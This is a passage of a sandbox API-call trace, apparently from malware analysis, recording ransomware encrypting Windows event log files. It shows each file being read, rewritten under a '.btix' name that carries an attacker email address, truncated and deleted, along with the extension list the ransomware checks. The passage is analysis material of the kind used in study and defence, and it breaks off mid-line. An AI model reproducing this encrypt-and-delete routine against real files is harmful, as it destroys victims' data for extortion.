[0050.878] SetEndOfFile (hFile=0x398) returned 1 [0050.878] CloseHandle (hObject=0x398) returned 1 [0050.880] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.880] SetEndOfFile (hFile=0x358) returned 1 [0050.881] CloseHandle (hObject=0x358) returned 1 [0050.882] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.882] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0050.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.882] lstrlenW (lpString=".doc") returned 4 [0050.882] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.882] lstrlenW (lpString=".docx") returned 5 [0050.882] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.882] lstrlenW (lpString=".pdf") returned 4 [0050.882] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.882] lstrlenW (lpString=".xls") returned 4 [0050.882] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString=".xlsx") returned 5 [0050.883] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.883] lstrlenW (lpString=".ppt") returned 4 [0050.883] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.883] lstrlenW (lpString=".zip") returned 4 [0050.883] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString=".rar") returned 4 [0050.883] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString=".bz2") returned 4 [0050.883] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString=".7z") returned 3 [0050.883] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.883] lstrlenW (lpString=".dbf") returned 4 [0050.883] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.883] lstrlenW (lpString=".1cd") returned 4 [0050.883] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.883] lstrlenW (lpString=".jpg") returned 4 [0050.883] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.883] lstrlenW (lpString=".doc") returned 4 [0050.883] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.883] lstrlenW (lpString=".docx") returned 5 [0050.884] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.884] lstrlenW (lpString=".pdf") returned 4 [0050.884] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.884] lstrlenW (lpString=".xls") returned 4 [0050.884] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.884] lstrlenW (lpString=".xlsx") returned 5 [0050.884] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.884] lstrlenW (lpString=".ppt") returned 4 [0050.884] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.884] lstrlenW (lpString=".zip") returned 4 [0050.884] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.884] lstrlenW (lpString=".rar") returned 4 [0050.884] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.884] lstrlenW (lpString=".bz2") returned 4 [0050.884] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.884] lstrlenW (lpString=".7z") returned 3 [0050.884] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.884] lstrlenW (lpString=".dbf") returned 4 [0050.884] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.884] lstrlenW (lpString=".1cd") returned 4 [0050.884] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0050.884] lstrlenW (lpString=".jpg") returned 4 [0050.884] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.885] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.885] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0050.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.885] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0050.885] CloseHandle (hObject=0x358) returned 1 [0050.885] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0050.885] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.885] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.886] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.886] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.886] GetLastError () returned 0x0 [0050.886] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.905] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.906] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.907] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x128, lpOverlapped=0x0) returned 1 [0050.907] SetEndOfFile (hFile=0x398) returned 1 [0050.907] CloseHandle (hObject=0x398) returned 1 [0050.909] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.909] SetEndOfFile (hFile=0x358) returned 1 [0050.910] CloseHandle (hObject=0x358) returned 1 [0050.910] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.910] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0050.911] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.911] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.911] lstrlenW (lpString=".doc") returned 4 [0050.911] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.911] lstrlenW (lpString=".docx") returned 5 [0050.911] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.911] lstrlenW (lpString=".pdf") returned 4 [0050.911] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.911] lstrlenW (lpString=".xls") returned 4 [0050.911] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.911] lstrlenW (lpString=".xlsx") returned 5 [0050.911] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.911] lstrlenW (lpString=".ppt") returned 4 [0050.911] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.911] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.911] lstrlenW (lpString=".zip") returned 4 [0050.911] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.911] lstrlenW (lpString=".rar") returned 4 [0050.911] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.911] lstrlenW (lpString=".bz2") returned 4 [0050.911] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.911] lstrlenW (lpString=".7z") returned 3 [0050.911] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.911] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.911] lstrlenW (lpString=".dbf") returned 4 [0050.911] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.911] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.911] lstrlenW (lpString=".1cd") returned 4 [0050.911] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.912] lstrlenW (lpString=".jpg") returned 4 [0050.912] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.912] lstrlenW (lpString=".doc") returned 4 [0050.912] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString=".docx") returned 5 [0050.912] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.912] lstrlenW (lpString=".pdf") returned 4 [0050.912] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString=".xls") returned 4 [0050.912] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString=".xlsx") returned 5 [0050.912] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.912] lstrlenW (lpString=".ppt") returned 4 [0050.912] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.912] lstrlenW (lpString=".zip") returned 4 [0050.912] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString=".rar") returned 4 [0050.912] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString=".bz2") returned 4 [0050.912] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString=".7z") returned 3 [0050.912] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.912] lstrlenW (lpString=".dbf") returned 4 [0050.912] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.912] lstrlenW (lpString=".1cd") returned 4 [0050.912] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0050.912] lstrlenW (lpString=".jpg") returned 4 [0050.913] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.913] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.913] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0050.913] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.913] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0050.913] CloseHandle (hObject=0x358) returned 1 [0050.913] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0050.913] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.913] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.913] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.913] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.913] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.914] GetLastError () returned 0x0 [0050.914] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.958] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.960] ReadFile (in: hFile=0x358, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.960] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x122, lpOverlapped=0x0) returned 1 [0050.960] SetEndOfFile (hFile=0x398) returned 1 [0050.960] CloseHandle (hObject=0x398) returned 1 [0050.964] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.964] SetEndOfFile (hFile=0x358) returned 1 [0050.965] CloseHandle (hObject=0x358) returned 1 [0050.965] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.240] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0051.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.240] lstrlenW (lpString=".doc") returned 4 [0051.240] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.240] lstrlenW (lpString=".docx") returned 5 [0051.240] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.240] lstrlenW (lpString=".pdf") returned 4 [0051.240] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.240] lstrlenW (lpString=".xls") returned 4 [0051.240] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.240] lstrlenW (lpString=".xlsx") returned 5 [0051.240] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.240] lstrlenW (lpString=".ppt") returned 4 [0051.240] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.240] lstrlenW (lpString=".zip") returned 4 [0051.240] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.240] lstrlenW (lpString=".rar") returned 4 [0051.240] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString=".bz2") returned 4 [0051.241] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString=".7z") returned 3 [0051.241] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.241] lstrlenW (lpString=".dbf") returned 4 [0051.241] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.241] lstrlenW (lpString=".1cd") returned 4 [0051.241] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.241] lstrlenW (lpString=".jpg") returned 4 [0051.241] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.241] lstrlenW (lpString=".doc") returned 4 [0051.241] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString=".docx") returned 5 [0051.241] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.241] lstrlenW (lpString=".pdf") returned 4 [0051.241] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString=".xls") returned 4 [0051.241] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString=".xlsx") returned 5 [0051.241] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.241] lstrlenW (lpString=".ppt") returned 4 [0051.241] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.241] lstrlenW (lpString=".zip") returned 4 [0051.241] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString=".rar") returned 4 [0051.241] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString=".bz2") returned 4 [0051.241] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.241] lstrlenW (lpString=".7z") returned 3 [0051.242] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.242] lstrlenW (lpString=".dbf") returned 4 [0051.242] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.242] lstrlenW (lpString=".1cd") returned 4 [0051.242] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0051.242] lstrlenW (lpString=".jpg") returned 4 [0051.242] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.242] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.242] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0051.242] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.333] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0051.333] CloseHandle (hObject=0x328) returned 1 [0051.333] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0051.334] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.334] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.334] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.334] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.334] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.334] GetLastError () returned 0x0 [0051.334] ReadFile (in: hFile=0x328, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.365] WriteFile (in: hFile=0x388, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.367] ReadFile (in: hFile=0x328, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.367] WriteFile (in: hFile=0x388, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x168, lpOverlapped=0x0) returned 1 [0051.367] SetEndOfFile (hFile=0x388) returned 1 [0051.367] CloseHandle (hObject=0x388) returned 1 [0051.368] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.369] SetEndOfFile (hFile=0x328) returned 1 [0051.370] CloseHandle (hObject=0x328) returned 1 [0051.370] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.370] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0051.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.370] lstrlenW (lpString=".doc") returned 4 [0051.370] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.370] lstrlenW (lpString=".docx") returned 5 [0051.370] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.370] lstrlenW (lpString=".pdf") returned 4 [0051.370] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.371] lstrlenW (lpString=".xls") returned 4 [0051.371] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.371] lstrlenW (lpString=".xlsx") returned 5 [0051.371] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.371] lstrlenW (lpString=".ppt") returned 4 [0051.371] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0051.371] lstrlenW (lpString=".zip") returned 4 [0051.371] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.371] lstrlenW (lpString=".rar") returned 4 [0051.371] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.371] lstrlenW (lpString=".bz2") returned 4 [0051.371] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.371] 